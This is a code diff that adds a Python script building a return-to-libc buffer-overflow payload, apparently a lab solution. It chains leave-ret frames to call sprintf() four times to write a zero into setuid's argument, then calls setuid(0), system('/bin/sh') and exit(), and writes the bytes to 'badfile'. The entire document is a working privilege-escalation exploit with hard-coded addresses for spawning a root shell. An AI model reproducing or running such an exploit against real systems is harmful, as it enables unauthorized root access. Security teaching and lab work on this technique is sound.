|
| 1 | + |
| 2 | +#!/usr/bin/python3 |
| 3 | +import sys |
| 4 | + |
| 5 | +def tobytes (value): |
| 6 | + return (value).to_bytes(4,byteorder='little') |
| 7 | + |
| 8 | +content = bytearray(0xaa for i in range(112)) |
| 9 | + |
| 10 | +sh_addr = 0xbffffdd0 # Address of "/bin/sh" |
| 11 | +leaveret = 0x08048565 # Address of leaveret |
| 12 | +sprintf_addr = 0xb7e516d0 # Address of sprintf() |
| 13 | +setuid_addr = 0xb7eb9170 # Address of setuid() |
| 14 | +system_addr = 0xb7e42da0 # Address of system() |
| 15 | +exit_addr = 0xb7e369d0 # Address of exit() |
| 16 | +ebp_foo = 0xbfffe4c8 # foo()'s frame pointer |
| 17 | + |
| 18 | +# Calculate the address of setuid()'s 1st argument |
| 19 | +sprintf_arg1 = ebp_foo + 12 + 5*0x20 |
| 20 | +# The address of a byte that contains 0x00 |
| 21 | +sprintf_arg2 = sh_addr + len("/bin/sh") |
| 22 | + |
| 23 | +content = bytearray(0xaa for i in range(112)) |
| 24 | + |
| 25 | +# Use leaveret to return to the first sprintf() |
| 26 | +ebp_next = ebp_foo + 0x20 |
| 27 | +content += tobytes(ebp_next) |
| 28 | +content += tobytes(leaveret) |
| 29 | +content += b'A' * (0x20 - 2*4) # Fill up the rest of the space |
| 30 | + |
| 31 | + |
| 32 | +# sprintf(sprintf_arg1, sprintf_arg2) |
| 33 | +for i in range(4): |
| 34 | + ebp_next += 0x20 |
| 35 | + content += tobytes(ebp_next) |
| 36 | + content += tobytes(sprintf_addr) |
| 37 | + content += tobytes(leaveret) |
| 38 | + content += tobytes(sprintf_arg1) |
| 39 | + content += tobytes(sprintf_arg2) |
| 40 | + content += b'A' * (0x20 - 5*4) |
| 41 | + sprintf_arg1 += 1 # Set the address for the next byte |
| 42 | + |
| 43 | +# setuid(0) |
| 44 | +ebp_next += 0x20 |
| 45 | +content += tobytes(ebp_next) |
| 46 | +content += tobytes(setuid_addr) |
| 47 | +content += tobytes(leaveret) |
| 48 | +content += tobytes(0xFFFFFFFF) # This value will be overwritten |
| 49 | +content += b'A' * (0x20 - 4*4) |
| 50 | + |
| 51 | +# system("/bin/sh") |
| 52 | +ebp_next += 0x20 |
| 53 | +content += tobytes(ebp_next) |
| 54 | +content += tobytes(system_addr) |
| 55 | +content += tobytes(leaveret) |
| 56 | +content += tobytes(sh_addr) |
| 57 | +content += b'A' * (0x20 - 4*4) |
| 58 | + |
| 59 | +# exit() |
| 60 | +content += tobytes(0xFFFFFFFF) # The value is not important |
| 61 | +content += tobytes(exit_addr) |
| 62 | + |
| 63 | +# Write the content to a file |
| 64 | +with open("badfile", "wb") as f: |
| 65 | + f.write(content) |
0 commit comments